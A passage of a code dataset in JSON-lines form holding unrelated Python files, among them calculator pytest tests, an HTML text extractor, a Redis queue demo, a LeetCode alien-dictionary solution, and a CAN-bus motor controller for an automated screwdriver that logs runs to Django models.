fix):\r\n print('run div')\r\n assert 3 == self.calc.div(9, 3)\r\n\r\n @pytest.mark.parametrize('a,b,c', [\r\n (1, 2, 3),\r\n (-1, -2, -3),\r\n (0.2, 0.2, 0.4),\r\n (1000, 2000, 3000),\r\n (0, 0, 0)\r\n ])\r\n def test_param(self, a, b, c):\r\n print(c)\r\n assert c == a + b\r\n\r\n def teardown(self):\r\n print('每个用例运行后执行')\r\n\r\n @classmethod\r\n def teardown_class(cls):\r\n print('所有测试用例运行完后执行')\r\n\r\n\r\nclass TestCalc1:\r\n @classmethod\r\n def setup_class(cls):\r\n print('所有测试用例运行前执行')\r\n cls.calc1 = Calculator()\r\n\r\n def test_add(self):\r\n print('run add2')\r\n assert 2 == self.calc1.add(1, 1)\r\n\r\n def test_div(self, fix):\r\n print('run div2')\r\n assert 3 == self.calc1.div(9, 3)\r\n\r\n @pytest.mark.parametrize('par', test_user_data2, indirect=True)\r\n def test_par(self, par):\r\n # 添加indirect=True参数是为了把par当成一个函数去执行,而不是一个参数\r\n # par函数获取test_user_data2数据\r\n param = par\r\n print(param)\r\n assert 'admin' in param\r\n","sub_path":"PycharmProjects/Reptile/autoTestDemo_pytest/Testing/test_calc.py","file_name":"test_calc.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"344484064","text":"from server import run_server\nfrom config import Config\nimport logging.config\n\nif __name__ == '__main__':\n logging.config.fileConfig('logging.conf')\n try:\n config = Config('server.conf')\n run_server(config)\n except Exception as e:\n logging.critical('Invalid configuration: \"{}\"'.format(e))\n exit(1)\n","sub_path":"server-for-calendar/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"558893014","text":"import re\n\nweb = [\"www.\", \"://\", \".com\", \".net\", \".org\", \".us\", \".gov\"]\naccepted_tags = [\"p\", \"span\", \"article\", \"font\", \"blockquote\"]\nexclude = [\"cite\"]\naccepted_classes = {\"paragraph\", \"text\"}\nbad_phrases = [\"back to top\", \"home\", \"welcome\", \"you are here:\", \"itunes\", \"google\", \"facebook\", \"twitter\", \"comment\"]\nbad_subphrases = [\"powered by\", \"around the web\", \"around the internet\", \"et al\", \"ndl\", \"view source\", \"view history\",\n \"edit links\", \"last modified\", \"text is available under\", \"creative commons\"]\nbad_headers = [\"References\", \"Citations\", \"Further Reading\", \"External Links\", \"Footnotes\", \"See Also\"]\na = lambda x: x == x.lower()\n\nA = re.compile(\"[a-zA-Z]{2,}[0-9]{2,}[ \\\\.]*\")\nB = re.compile(\"([0-9]+[a-zA-Z]+)+[\\\\s\\\\.]+\")\nC = re.compile(\"[\\\\[\\\\{].*[\\\\]\\\\}]\")\nD = re.compile(\"[A-Z]{2,3}: {0,2}[0-9]{3,}.{0,2}[0-9]*\")\nE = re.compile(\"\\\\([a-zA-Z\\\\s]+ ([0-9]+[.]*)+\\\\)\")\nF = re.compile(\"(\\\\\\\\[a-zA-Z0-9]{1,5})\")\ndef add_item(goods, parent):\n goods.append(parent)\n\n\ndef find_good(parent, goods, wiki_mode):\n if parent is not None:\n if not parent.__class__.__name__ == \"NavigableString\" and not parent.__class__.__name__ == \"Comment\":\n if hasattr(parent, \"name\"):\n if parent.name in accepted_tags:\n add_item(goods, parent)\n else:\n classes_proto = parent.get(\"class\")\n classes = set() if classes_proto is None else set(filter(a, classes_proto))\n ids_proto = parent.get(\"id\")\n # ids = set() if ids_proto is None else set(filter(a, ids_proto))\n # converts all lists of ids and classes to sets with their lowercase versions\n # ids are not currently used, but may be used later\n if bool(classes & accepted_classes):\n add_item(goods, parent)\n # if the class is an accepted class, add the item to the list\n else:\n if hasattr(parent, \"children\"):\n for item in parent.children:\n if hasattr(item, \"get_text\"):\n if not(item.name==\"a\" or item.parent.name==\"a\"):\n t = item.get_text().strip()\n if t in bad_headers:\n add_item(goods, None)\n return False\n find_good(item, goods, wiki_mode)\n # searches through the child's child nodes\n elif parent.__class__.__name__ == \"NavigableString\":\n add_item(goods, parent)\n\n\ndef decide(factors, threshold):\n totalWeight = 0\n totalValue = 0\n for value, weight in factors:\n totalValue += value * weight\n totalWeight += weight\n adjusted = totalValue / totalWeight\n return adjusted > threshold\n\n\ndef check(text):\n texts = text.split(\"\\n\")\n result = \"\"\n for item in texts:\n new = (checkIndividual(item) + \"\\n\")\n result += new\n return result\n\n\ndef checkIndividual(text):\n if \"°\" in text and len(text) < 100:\n return \"\"\n text = destroy_citations(text.replace(\"\\r\", \"\\n\"))\n stripped = text.lower().strip(\"\\n\").strip(\"\\t\").strip(\" \").strip(\"\\r\")\n if stripped in bad_phrases:\n return \"\"\n for item in bad_subphrases:\n if item in stripped:\n return \"\"\n for item in web:\n if item in text:\n text = text.replace(item, \"\")\n if len(stripped) < 7:\n return \"\"\n if not text[0].isalnum() and not text[0] == \" \" and not text[0] == \"/t\" and not text[0] == \"\\n\":\n return \"\"\n lastchr = stripped[len(stripped) - 1]\n if not lastchr.isalnum() and not (lastchr == \".\" or lastchr == \"?\" or lastchr == \" \"):\n return \"\"\n if stripped.isdigit():\n return \"\"\n endsWithPunc = 0 if stripped[len(stripped) - 1] == '.' else 1\n length = 1 / (len(stripped) - 6)\n numSpaces = 1 / (stripped.count(' ') + 1)\n if numSpaces > 1 / 3:\n return \"\"\n factors = [(endsWithPunc, 2), (length, 1), (numSpaces, 3)]\n if decide(factors, 0.4):\n return \"\"\n return text\n\n\ndef extract(item):\n result = \"\"\n if hasattr(item, \"children\"):\n for text in item.children:\n if not hasattr(text, \"name\") or not text.name in exclude:\n result += extract(text)\n elif hasattr(item, \"get_text\"):\n result = item.get_text()\n else:\n result = item\n return result.replace(\"\\n\", \" \")\n\n\ndef check_spaces(text):\n obj = re.compile(\"[\\\\s \\\\t\\\\n]{2,}]\")\n text = obj.sub(\" \", text)\n text = re.compile(\"[ ]{2,}\").sub(\" \", text)\n text = text.replace(\"\\n \", \"\\n\").replace(\" \\n\", \"\\n\")\n text = re.compile(\"[\\\\r\\\\n]{3,}\").sub(\"\\n\", text)\n return text\n\n\ndef destroy_citations(text):\n return A.sub(\" \", B.sub(\" \", C.sub(\"\", D.sub(\" \", E.sub(\" \", F.sub(\" \", text))))))\n\n\ndef get_text(soup):\n soup = soup.html\n wiki_mode = False\n if (\"wikipedia.org\" in str(soup)):\n wiki_mode = True\n goods = list()\n find_good(soup, goods, wiki_mode)\n text = \"\"\n for item in goods:\n if item is None:\n break\n extraction = extract(item)\n if extraction is not None:\n text += extraction + \"\\n\"\n text = check_spaces(text)\n text = check(text)\n text = check_spaces(text)\n #return text.split(BAD_STUFF)[0]\n return text\n","sub_path":"text_extraction.py","file_name":"text_extraction.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"640095873","text":"# -*- coding:utf-8 -*-\n# @Time: 2019-09-16 20:20\n# @Author: duiya duiyady@163.com\n\n\ndef isPalindrome(x):\n if x < 0:\n return False\n x = str(x)\n i, j = 0, len(x)-1\n while i < j:\n if x[i] == x[j]:\n i = i + 1\n j = j - 1\n else:\n break\n if i < j:\n return False\n else:\n return True\n\n\nif __name__ == '__main__':\n print(isPalindrome(123))","sub_path":"src/main/num001_100/9_回文数.py","file_name":"9_回文数.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"182512816","text":"from setuptools import setup\n\nmeta = dict(\n name=\"envcrypt\",\n version=\"0.0.1\",\n py_modules=[\"envcrypt\"],\n author='Will Maier',\n author_email='will@simple.com',\n test_suite='tests',\n scripts=['scripts/envcrypt'],\n install_requires=[\n \"docopt\"\n ],\n)\n\nsetup(**meta)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"66608472","text":"from RedisQueue.redis_queue import RedisQueue\nimport configparser\nimport LogUtil\nfrom concurrent.futures import ProcessPoolExecutor\n\ndef InforLoadConfigUtil(config_file_name, segment_name):\n tmplist = []\n try:\n cf = configparser.ConfigParser()\n cf.read(config_file_name, encoding='utf-8')\n for item in cf.items(segment_name):\n tmplist.append(item[1])\n return tmplist\n except Exception as e:\n return None\n\n\ndef InitQueueConf(config_file_name, segment_name):\n redisConfig = InforLoadConfigUtil(config_file_name, segment_name)\n host, port, db = redisConfig\n return dict(host = host, port = int(port), db = int(db))\n\n\n\nif __name__=='__main__':\n \n config_file_name = \"config_startup.ini\"\n segment_name = \"redis\"\n redisConf = InitQueueConf(config_file_name, segment_name)\n request_segment_name = 'queue_request'\n request_segment_domain = InforLoadConfigUtil(config_file_name, request_segment_name)[0]\n q = RedisQueue('rq', **redisConf)\n # 处理队列\n q_handler = RedisQueue('handled', **redisConf)\n # 成功队列\n q_succeed = RedisQueue('succeed', **redisConf)\n # 错误队列1\n q_error1 = RedisQueue('error1', **redisConf)\n # 处理过程中错误队列1\n q_error1_handle = RedisQueue('error1:handle', **redisConf)\n # 成功时的错误队列1\n q_error1_succeed = RedisQueue('error1:succeed', **redisConf)\n # 错误队列2\n q_error2 = RedisQueue('error2', **redisConf)\n \n print('test')\n","sub_path":"Demo/RedisDemo.py","file_name":"RedisDemo.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"247724314","text":"import collections\nclass Solution:\n def alienOrder(self, words: List[str]) -> str:\n # case: ['z', 'z']\n edges = collections.defaultdict(list)\n inDegree = collections.defaultdict(int)\n zeroDegree = []\n # set('yuan') -> {'y', 'u', 'a', 'n'}\n all_letters = set(''.join(words))\n for i in range(1, len(words)):\n word1, word2 = words[i-1], words[i]\n len1, len2 = len(word1), len(word2)\n # find the first different letter. Don't forget to break!\n for j in range(min(len1, len2)):\n if word1[j] != word2[j]:\n inDegree[word2[j]] += 1\n edges[word1[j]].append(word2[j])\n break\n res = ''\n # find the zero degrees\n for letter in all_letters:\n if inDegree[letter] == 0:\n zeroDegree.append(letter)\n while zeroDegree:\n cur = zeroDegree.pop()\n res += cur\n for neighbor in edges[cur]:\n inDegree[neighbor] -= 1\n if inDegree[neighbor] == 0:\n zeroDegree.append(neighbor)\n return '' if len(res) != len(all_letters) else res\n\nprint(Solution().alienOrder([\"za\",\"zb\",\"ca\",\"cb\"]))\nprint(set('yuan'))\n","sub_path":"Facebook/269.py","file_name":"269.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"109872512","text":"# xz轴第六版,xz轴变为���度模式,添加限位和z轴传感器,记录运行数据,自学习\nimport os\nimport pytz\nimport sys\nimport json\nimport csv\nimport serial\nfrom time import sleep\nimport can\nfrom threading import Thread\nfrom gpiozero import LED, DigitalInputDevice\nimport time\n\nimport django\nfrom django.utils import timezone\nfrom django.db.models import Avg\n\nsys.path.append('..')\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"ScrewDriver.settings\")\n\ndjango.setup()\n\nfrom control.models import Records, ScrewConfig, Weight\n\n\ndef get_current_time(datetimenow=None, naive_datetime=False, customtimezone=None):\n timezone_datetime = datetimenow\n if datetimenow and not datetimenow.tzinfo:\n # change naive datetime to datetime with timezone\n # use timezone.localize will include day light saving to get more accurate timing\n timezone_datetime = pytz.timezone(os.environ.get('TZ')).localize(datetimenow)\n tz = None\n if customtimezone:\n try:\n tz = pytz.timezone(customtimezone)\n except:\n pass\n\n # convert to datetime with user local timezone\n converted_datetime = timezone.localtime(timezone_datetime or timezone.now(), tz)\n # return datetime converted\n return converted_datetime.replace(tzinfo=None) if naive_datetime else converted_datetime\n\n\nclass Motor:\n\n def __init__(self, can_channel, motor_id):\n \"\"\"\n Initialization of can motors\n :param can_channel:name of can device\n :param motor_id:can id of motor\n \"\"\"\n self.bus = can.interface.Bus(\n channel=can_channel, bustype='socketcan_ctypes')\n self.speed = 0\n self.now_speed = 0\n self.position = 0\n self.current = 0\n self.motor_id = motor_id\n self.weight = 0\n self.weight_z = 0\n self.left_limit = 0\n self.right_limit = 0\n self.up_limit = 0\n self.down_limit = 0\n self.ser = serial.Serial('/dev/ttyUSB0', baudrate=57600)\n self.refresh_run()\n\n def refresh_run(self):\n t = Thread(target=self.refresh, name='refresh_can')\n t.setDaemon(True)\n t.start()\n t2 = Thread(target=self.serial_refresh, name='refresh_serial')\n t2.setDaemon(True)\n t2.start()\n t3 = Thread(target=self.button_refresh, name='refresh_button')\n t3.setDaemon(True)\n t3.start()\n t4 = Thread(target=self.limit_refresh, name='refresh_limit')\n t4.setDaemon(True)\n t4.start()\n print('four thread ok~')\n\n def limit_refresh(self):\n left = DigitalInputDevice(6)\n right = DigitalInputDevice(13)\n up = DigitalInputDevice(26)\n down = DigitalInputDevice(19)\n while True:\n self.left_limit = left.value\n self.right_limit = right.value\n self.up_limit = up.value\n self.down_limit = down.value\n sleep(0.01)\n\n def button_refresh(self):\n b_out = DigitalInputDevice(27)\n b_in = DigitalInputDevice(17)\n bin_pre = 0\n bout_pre = 0\n while True:\n bin_now = b_in.value\n bout_now = b_out.value\n sleep(0.01)\n bin_now2 = b_in.value\n bout_now2 = b_out.value\n\n if bin_now and bin_now2:\n bin_now = 1\n else:\n bin_now = 0\n\n if bout_now and bout_now2:\n bout_now = 1\n else:\n bout_now = 0\n if bin_now and not bin_pre:\n print('power on ppp')\n poweron_p()\n elif bout_now and not bout_pre:\n print('power on nnn')\n poweron_n()\n elif not any([bin_now, bout_now]) and any([bin_pre, bout_pre]):\n sleep(0.1)\n print('poweroff...')\n # poweroff()\n else:\n pass\n bin_pre = bin_now\n bout_pre = bout_now\n sleep(0.3)\n\n def serial_refresh(self):\n p = LED(21)\n p.on()\n while True:\n self.ser.write([0x32, 0x03, 0x00, 0x50, 0x00, 0x02, 0xC4, 0x1A])\n sleep(0.05)\n weight_data = self.ser.read_all()\n try:\n weight = round(int('0x' + weight_data.hex()[10:14], 16) * 0.001, 3)\n if weight >= 10:\n weight = 0\n except Exception as e:\n print('errorsssssssssssss', e)\n weight = 0\n try:\n with open('weight.json', 'w') as f:\n json.dump({'weight': weight}, f)\n\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n\n if weight > config['n']:\n self.weight = weight\n # print('ssssssssssss> max s : {}'.format(weight))\n\n # protect io\n p.off()\n print('ppppppppppppp')\n sleep(0.1)\n p.on()\n except Exception as e:\n print('error ssss22222222', e)\n\n # get weight_z value\n self.ser.write([0x01, 0x03, 0x00, 0x50, 0x00, 0x02, 0xC4, 0x1A])\n sleep(0.05)\n weight_data_m = self.ser.read_all()\n try:\n weight_z = round(int('0x' + weight_data_m.hex()[10:14], 16) * 0.01, 3)\n if weight_z >= 10:\n # print('////////////>>>', weight_z)\n weight_z = 0\n except Exception as e:\n print('errorzzzzzzzzzzzzzz', e)\n weight_z = 0\n try:\n if weight_z > 1:\n self.weight_z = weight_z\n # print('zzzzzzzzzzzzzzzz> max z : {}'.format(weight_z))\n except Exception as e:\n print('error zzzzzz2222222222', e)\n\n def refresh(self):\n while True:\n data = self.bus.recv()\n if data.arbitration_id != 0x1b:\n continue\n data = data.data\n if data[3] > 0xee:\n now_speed = (data[3] - 0xff) * 256 + (data[2] - 0xff)\n else:\n now_speed = data[2] | (data[3] << 8)\n self.now_speed = now_speed\n self.current = data[0] | (data[1] << 8)\n self.position = data[4] | (data[5] << 8) | (data[6] << 16) | (data[7] << 24)\n # print(self.current, self.now_speed, self.position)\n direction = 1 if self.now_speed > 0 else -1\n # sleep(0.1)\n screw_data = {'speed': self.now_speed, 'current': self.current if self.current < 10000 else 0,\n 'direction': direction}\n with open('screw.json', 'w') as f:\n json.dump(screw_data, f)\n sleep(0.001)\n\n def send(self, aid, data):\n print(time.ctime() + 'can data {}'.format(data))\n msg = can.Message(arbitration_id=aid, data=data, extended_id=False)\n self.bus.send(msg, timeout=1)\n sleep(0.01)\n\n def speed_mode(self, speed):\n \"\"\"\n :param speed: integer, -255 to 255, speed of left motor, positive speed will go forward,\n negative speed will go backward\n :return:\n \"\"\"\n s_speed = speed & 0xff\n times = speed >> 8 & 0xff\n self.send(self.motor_id, [s_speed, times])\n\n\ndef poweron_p():\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n config.update({'power': 1, \"direction\": 1})\n with open('adjust_screw_config.json', 'w') as f:\n json.dump(config, f)\n\n\ndef poweron_n():\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n config.update({'power': 1, \"direction\": -1})\n with open('adjust_screw_config.json', 'w') as f:\n json.dump(config, f)\n\n\ndef poweroff():\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n config.update({'power': 0})\n with open('adjust_screw_config.json', 'w') as f:\n json.dump(config, f)\n\n\nclass MotorX:\n # None for direction ,0x23 => 1 0x24 => -1\n run_data = [0x00, 0x20, None, 0x00, 0x00, 0x00, 0x00, 0x03]\n stop_data = [0x00, 0x20, 0x25, 0x00, 0x00, 0x00, 0x00, 0x01]\n # None for speed level 1,2,3,4,5,6 - (32,16,8,4,2,1) 1 is slowest 6 is fastest\n set_speed_data = [0x00, 0x20, 0x33, None, 0x00, 0x00, 0x00, 0x0a]\n speed_level_mapping = [0x20, 0x10, 0x08, 0x04, 0x02, 0x01]\n\n def __init__(self, can_channel, motor_id):\n \"\"\"\n Initialization of can motors\n :param can_channel:name of can device\n :param motor_id:can id of motor\n \"\"\"\n self.bus = can.interface.Bus(\n channel=can_channel, bustype='socketcan_ctypes')\n self.motor_id = motor_id\n self.speed = 0\n self.now_speed = 0\n self.alive = False\n\n def send(self, aid, data):\n msg = can.Message(arbitration_id=aid, data=data, extended_id=False)\n self.bus.send(msg, timeout=1)\n sleep(0.01)\n\n def run(self, step, direction):\n # direction = 1 (left, down)\n # direction = -1 (right, up)\n # 7-14\n if step > 2147483647:\n raise ValueError(\"step parameter must be a int integer and between 0~2147483647\")\n if direction not in (-1, 1):\n raise ValueError(\"The dir can only be 0 or 1, clockwise: 0 anticlockwise: 1\")\n # deal with direction\n self.run_data[2] = 0x23 if direction == 1 else 0x24\n self.run_data[6] = (0xff000000 & step) >> 24\n self.run_data[5] = (0x00ff0000 & step) >> 16\n self.run_data[4] = (0x0000ff00 & step) >> 8\n self.run_data[3] = 0x000000ff & step\n self.send(self.motor_id, self.run_data)\n\n def stop(self):\n self.send(self.motor_id, self.stop_data)\n\n def set_speed_level(self, level):\n level -= 1\n self.set_speed_data[3] = self.speed_level_mapping[level]\n self.send(self.motor_id, self.set_speed_data)\n\n\nclass MotorZ:\n # None for direction ,0x23 => 1 0x24 => -1\n run_data = [0x00, 0x20, None, 0x00, 0x00, 0x00, 0x00, 0x03]\n stop_data = [0x00, 0x20, 0x25, 0x00, 0x00, 0x00, 0x00, 0x01]\n # None for speed level 1,2,3,4,5,6 - (32,16,8,4,2,1) 1 is slowest 6 is fastest\n set_speed_data = [0x00, 0x20, 0x26, None, 0x00, 0x00, 0x00, 0x02]\n\n def __init__(self, can_channel, motor_id):\n \"\"\"\n Initialization of can motors\n :param can_channel:name of can device\n :param motor_id:can id of motor\n \"\"\"\n self.bus = can.interface.Bus(\n channel=can_channel, bustype='socketcan_ctypes')\n self.motor_id = motor_id\n self.speed = 0\n self.now_speed = 0\n self.alive = False\n\n def send(self, aid, data):\n msg = can.Message(arbitration_id=aid, data=data, extended_id=False)\n self.bus.send(msg, timeout=1)\n sleep(0.01)\n\n def speed_mode(self, speed):\n # speed > 0 forward, speed < 0 backward, speed = 0 stop\n self.run_data[2] = 0x23 if speed > 0 else 0x24\n if speed > 0:\n self.run_speed_mode(speed)\n if speed < 0:\n self.run_speed_mode(-speed)\n if speed == 0:\n self.send(self.motor_id, self.stop_data)\n print('stopzzzzzzzzzzzzzzzzz')\n\n def run_speed_mode(self, speed):\n self.set_speed_data[6] = (0xff000000 & speed) >> 24\n self.set_speed_data[5] = (0x00ff0000 & speed) >> 16\n self.set_speed_data[4] = (0x0000ff00 & speed) >> 8\n self.set_speed_data[3] = 0x000000ff & speed\n self.send(self.motor_id, self.set_speed_data)\n sleep(0.05)\n self.send(self.motor_id, self.run_data)\n\n\ndef main():\n x = MotorX('can0', 0xc1)\n z = MotorZ('can0', 0xc2)\n x.set_speed_level(3)\n\n can_motors = Motor('can0', 0x13)\n n = 0\n i = 0\n # cycle times\n m = 0\n\n step = 0\n step_right = 0\n total = 0\n total_up = 0\n\n p = 0\n\n man_position = 0\n man_cycle = 0\n\n speed = 0.9\n direction = 1\n actual_speed = 50\n # speed2 should < 1000\n speed1 = 304\n speed2 = 500\n settle_speed = 0\n while True:\n\n try:\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n except Exception as e:\n print('config error', e)\n config = {\"speed\": 1, \"speed2\": 350, \"direction\": 1, \"n\": 1, \"n2\": 2, \"power\": 1, \"auto\": 1, \"position\": 0}\n # power 1 :on 0:off\n power = config['power']\n weight = config['n']\n weight2 = 2\n auto = config['auto']\n # default 0, values=1,2,3\n position = config['position']\n screw_type = 'test001'\n\n # i += 1\n # print('iiiiiiiii', i)\n\n if power == 1:\n\n if auto == 1:\n # pre-start\n r = 0\n p += 1\n while True:\n r += 1\n can_motors.speed_mode(0)\n sleep(0.5)\n\n if p != 1:\n break\n elif r >= 5:\n break\n settled_list = Records.objects.filter(screw_type='test001', is_settled=True).distinct() \\\n .aggregate(Avg('total_time'))\n if settled_list['total_time__avg']:\n avg_time = settled_list['total_time__avg']\n print('%%%%%%%%%%%%%avg_time', avg_time)\n else:\n record_list = Records.objects.filter(direction=1, d_weight__gt=0, total_time__gt=0,\n screw_type='test001').distinct().aggregate(Avg('total_time'))\n print('record_list==========', record_list)\n avg_time = record_list['total_time__avg'] if record_list['total_time__avg'] else 0.0\n if avg_time != 0.0:\n s_time = avg_time - 0.5\n print('sssssssssss_time', s_time)\n\n if s_time > 0:\n # first stage\n print('start...')\n z.speed_mode(speed2)\n if can_motors.weight_z > 1:\n print('can_motors.weight_z===========', can_motors.weight_z)\n record = Records()\n record.screw_type = screw_type\n record.speed = speed1\n record.direction = 1\n record.current = can_motors.current if can_motors.current < 10000 else 0\n record.config_weight = weight\n record.start_time = get_current_time()\n \n can_motors.speed_mode(speed1)\n sleep(s_time)\n\n z.speed_mode(0)\n # second stage\n print('actual_speeddddddddddddddd', actual_speed)\n while True:\n can_motors.speed_mode(actual_speed)\n record.actual_speed = actual_speed\n if can_motors.weight > weight:\n break\n if can_motors.weight > weight:\n print('can_motors.weight2222222222222', can_motors.weight)\n m += 1\n\n record.cycle = m\n record.weight = can_motors.weight\n record.d_weight = can_motors.weight - weight\n record.end_time = get_current_time()\n record.total_time = (record.end_time - record.start_time).total_seconds()\n if record.total_time - avg_time > 0.5:\n record.total_time = 0\n print('record.total_time&&&&&&&&&&&&&&', record.total_time)\n\n if record.d_weight > 3:\n print('cycle...up...')\n while True:\n z.speed_mode(-speed2)\n if can_motors.up_limit == 1:\n z.speed_mode(0)\n print('cycle...stop...')\n\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n config.update({'power': 0})\n with open('adjust_screw_config.json', 'w') as f:\n json.dump(config, f)\n break\n record.save()\n can_motors.weight = 0\n\n else:\n\n if record.d_weight > 1 and actual_speed > 5:\n actual_speed -= 5\n # if record.d_weight < 1:\n # record.is_settled = True\n # print('settled...')\n # actual_speed += 5\n else:\n record.is_settled = True\n print('settled...')\n record.save()\n can_motors.weight = 0\n\n print('here here...')\n sleep(4.5)\n # reverse\n can_motors.speed_mode(-speed1)\n z.speed_mode(-speed2)\n\n record = Records()\n record.screw_type = screw_type\n record.cycle = m\n record.speed = -speed1\n record.direction = -1\n record.current = can_motors.current if can_motors.current < 10000 else 0\n record.weight = can_motors.weight\n record.save()\n\n sleep(s_time)\n print('gaga')\n\n can_motors.speed_mode(0)\n can_motors.weight = 0\n z.speed_mode(-200)\n sleep(1.5)\n z.speed_mode(0)\n can_motors.weight_z = 0\n\n config_data = ScrewConfig()\n config_data.n = weight\n config_data.power = power\n config_data.direction = direction\n config_data.speed = speed1\n config_data.actual_speed = actual_speed\n config_data.cycle = m\n config_data.save()\n\n print('end...')\n sleep(2)\n\n print('again...')\n else:\n print('run time too short!!!')\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n config.update({'power': 0})\n with open('adjust_screw_config.json', 'w') as f:\n json.dump(config, f)\n else:\n print('initial...start...')\n z.speed_mode(speed2)\n if can_motors.weight_z > 1:\n record = Records()\n record.screw_type = screw_type\n record.speed = speed1\n record.direction = 1\n record.current = can_motors.current if can_motors.current < 10000 else 0\n record.config_weight = weight\n record.start_time = get_current_time()\n while True:\n can_motors.speed_mode(speed1)\n\n if can_motors.weight > weight:\n z.speed_mode(0)\n print('can_motors.weight>>>>>>>>>>>>', can_motors.weight)\n m += 1\n\n record.cycle = m\n record.weight = can_motors.weight\n record.d_weight = can_motors.weight - weight\n record.end_time = get_current_time()\n record.total_time = (record.end_time - record.start_time).total_seconds()\n record.save()\n print('record.total_time$$$$$$$$$$$$', record.total_time)\n\n if record.d_weight > 3:\n print('initial...up...')\n while True:\n z.speed_mode(-speed2)\n if can_motors.up_limit == 1:\n z.speed_mode(0)\n print('initial...stop...')\n\n with open('adjust_screw_config.json', 'r') as f:\n config = json.load(f)\n config.update({'power': 0})\n with open('adjust_screw_config.json', 'w') as f:\n json.dump(config, f)\n break\n can_motors.weight = 0\n else:\n print('initial...here here...')\n sleep(4.5)\n # reverse\n print('initial...haha...')\n can_motors.speed_mode(-speed1)\n z.speed_mode(-speed2)\n\n record = Records()\n record.screw_type = screw_type\n record.cycle = m\n record.speed = -speed1\n record.direction = -1\n record.current = can_motors.current if can_motors.current < 10000 else 0\n record.weight = can_motors.weight\n record.save()\n\n sleep(record.total_time)\n print('initial...gaga...')\n\n can_motors.speed_mode(0)\n can_motors.weight = 0\n z.speed_mode(-200)\n sleep(1.5)\n z.speed_mode(0)\n can_motors.weight_z = 0\n\n config_data = ScrewConfig()\n config_data.n = weight\n config_data.power = power\n config_data.direction = direction\n config_data.speed = speed1\n config_data.actual_speed = actual_speed\n config_data.cycle = m\n config_data.save()\n\n print('initial...end...')\n sleep(2)\n\n print('initial...again...')\n break\n\n # else:\n # print('stand by...')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"control/demo_adjust_run_screw_3_new.py","file_name":"demo_adjust_run_screw_3_new.py","file_ext":"py","file_size_in_byte":24629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"418188863","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n@Time : 2017/6/19 21:47\n@Author : Mr.Sprint\n@File : Read_xml.py\n@Software: PyCharm\n'''\n#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport easygui as g\nimport os.path\nimport binascii\nfrom xml.dom.minidom import parse\nimport xml.dom.minidom\nimport csv\nflag = 1\nMM_ID_Str = str()\nread_file_dict = dict()#normal mme file\nparameter_dict = dict()#just for parameter\npar_filecontent_list = list()\nParameterRecord_dict = dict()\nChoiceTable_dict = dict()\ncommand_list =[\n \"Read Firmware\",\n \"Read SIVP\",#Filename, version number, list of parameters+values in the file\n \"Read CSIV\",#Filename, version number, list of parameters+values in the file\n \"Read Parameter\",#List of parameters+values in the file\n \"Motor DataBase\",\n 'All File'\n ]\n\n\ndef paremeter_read_lines(filename):\n with open(filename, 'rb') as f:\n for each_lines in f:\n for each_char in each_lines:\n par_filecontent_list.append(int(binascii.b2a_hex(each_char), 16))\n parameter_dict['File Type'] = par_filecontent_list[0:1]\n parameter_dict['Type code'] = par_filecontent_list[8:9]\n parameter_dict['Num of parameters'] = par_filecontent_list[9:10]\n parameter_dict['Size of enter header'] = par_filecontent_list[10:11]\n parameter_dict['File format version'] = par_filecontent_list[11:13]\n parameter_dict['Software version'] = par_filecontent_list[13:15]\n parameter_dict['databese version'] = par_filecontent_list[15:17]\n parameter_dict['Motor Power'] = par_filecontent_list[17:18]\n parameter_dict['Motor Voltage'] = par_filecontent_list[18:19]\n parameter_dict['Motor Frequency'] = par_filecontent_list[19:20]\n parameter_dict[r'Signal phase/Three phase'] = par_filecontent_list[20:21]\n\ndef file_read_lines(filename):\n #将来这里要清除字典的信息\n filecontent_list = list()\n with open(filename, 'rb') as f:\n for each_lines in f:\n for each_char in each_lines:\n filecontent_list.append(int(binascii.b2a_hex(each_char), 16))\n read_file_dict['File Format'] = filecontent_list[0:1]\n read_file_dict['Number of elements'] = filecontent_list[1:3]\n read_file_dict['File Version'] = filecontent_list[3:4]\n read_file_dict['MMM ID'] = filecontent_list[4:22]\n\ndef find_MMfile(dirpath,filename):\n for root, dirs, files in os.walk(dirpath):\n for file in files:\n if filename == file:\n if filename == 'CSIV.mme' or filename == 'SIVP.mme' or filename == 'Parameter.par':\n paremeter_read_lines(filename)\n else:\n file_read_lines(filename)\n\ndef create_csv_file():\n pass\n\ndef read_xmlfile(filename):\n\n # 使用minidom解析器打开XML文档\n DOMTree = xml.dom.minidom.parse(\"FC280_0140.xml\")\n Data = DOMTree.documentElement\n ParameterRecords = Data.getElementsByTagName(\"ParameterRecord\")\n ChoiceRecords = Data.getElementsByTagName(\"ChoiceRecord\")\n print(\"*****ParameterRecord*****\")\n for ParameterRecord in ParameterRecords:\n try:\n data_dict = dict()\n Index = ParameterRecord.getElementsByTagName('ParamIndex')[0]\n data_dict['ParamIndex'] = Index.childNodes[0].data\n\n 